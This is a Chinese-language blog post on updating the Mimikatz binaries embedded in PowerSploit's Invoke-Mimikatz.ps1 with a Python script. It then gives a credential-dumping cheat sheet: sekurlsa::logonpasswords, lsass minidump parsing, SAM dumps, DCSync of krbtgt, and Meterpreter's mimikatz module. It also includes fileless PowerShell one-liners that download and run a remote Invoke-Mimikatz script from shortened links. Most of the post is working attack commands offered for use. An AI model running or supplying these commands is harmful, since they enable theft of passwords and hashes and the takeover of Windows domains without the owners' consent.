«

更新 Invoke-Mimikatz.ps1 中的 Mimikatz 版本为最新 2.2.0 20200519 版本

时间:2020-6-24 12:27     作者:admin     分类: 技术文章


shotpic_2020-06-24_12-26-38.png



invoke-mimikatz是什么?invoke-mimikatz是powersploit渗透测试套装中的一个powershell版本的mimikatz工具,用来抓取windows操作系统中的密码。

但是其内置的mimikatz版本过低,导致在实际使用中会多多少少的有一些问题。



通过查看 https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 脚本内容知道 $PEBytes64 和 $PEBytes32 变量,应该是把 Mimikatz 的两个版本的EXE文件进行base64编码.

那就只替换最新的试试,使用 python3 替换完成更新代码 update.py 如下: 

import fileinput
import base64

with open("./Win32/mimikatz.exe", "rb") as f:
    win32 = base64.b64encode(f.read()).decode()

with open("./x64/mimikatz.exe", "rb") as f:
    x64 = base64.b64encode(f.read()).decode()

for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):

  line = line.rstrip('\r\n')
  if "$PEBytes64 = " in line:
    print("$PEBytes64 = '" + x64 + "'")
  elif "$PEBytes32 = " in line:
    print("$PEBytes32 = '" + win32 + "'")
  else:
    print(line)

将 update.py 脚本和 Invoke-Mimikatz.ps1 放在 mimikatz_trunk 解压后的同目录。执行即可更新完毕。

更新后的效果如首图所示,从 Mimikatz 2.1 2016年的版本更新到最新的 2.2.0 20200519 Windows 10 2004 (build 19041) 版本。

顺带提一下:Mimikatz 使用时需要高权限,至少是 administrator 权限 Mimikatz 抓取密码的命令需要 system 权限,可以先进行提权,

基本使用:

privilege::debug  //提升权限(从administrator提升到system)如果是system权限执行,可省略



抓取hash:

sekurlsa::logonpasswords   //获取当前在线用户的明文密码(需要高权限运行)

lsadump::lsa /patch   //获取当前此计算机存在过用户的NTLMHASH



mimikatz 的其他命令:

lsadump::sam SYSTEM.hiv //导出所有用户口令 使用Volue Shadow Copy获得SYSTEM、SAM备份

通过内存文件获取口令

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

拉取 rd.adsecurity.org 域中的 KRBTGT 用户帐户的密码数据

lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt

拉取 lab.adsecurity.org 域中 ADSDC03 域控制器的计算机帐户的密码数据

lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$



msf使用 mimikatz:

在meterpreter中加载mimikatz模块

load mimikatz



然后help,查看参数信息:

kerberos          Attempt to retrieve kerberos creds

livessp           Attempt to retrieve livessp creds

mimikatz_command  Run a custom command

msv               Attempt to retrieve msv creds (hashes)

ssp               Attempt to retrieve ssp creds

tspkg             Attempt to retrieve tspkg creds

wdigest           Attempt to retrieve wdigest creds



常用命令为kerberos和msv。



无文件落地执行 mimikatz 

在Windows server 2008 及之前 可以使用如下命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/SdU3mjdm'); Invoke-Mimikatz -DumpCreds" 

在Windows server 2009 及之后,可以使用如下命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/wv7uNQrc'); Invoke-Mimikatz"

然后抓取hash即可抓取 NTLM。

注意,目前上面这个新版的脚本来自我的 GitHub 仓库: https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/Invoke-Mimikatz.ps1

各位大佬点个star啊!里面收藏了我所看到过的觉得有价值的渗透测试工具,POC,Android渗透测试、脱壳相关的文章。

目前会有 BUG ,细心的可以看到图上的第二个命令行窗口。欢迎能修复BUG的大佬可以 Pull !



参考:鸿鹄实验室公众号文章-渗透tips---->更新你的invoke-mimikatz

标签: 攻击 渗透测试 黑客工具 分享 mimikatz

版权所有:Mrxn's Blog
文章标题:更新 Invoke-Mimikatz.ps1 中的 Mimikatz 版本为最新 2.2.0 20200519 版本
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读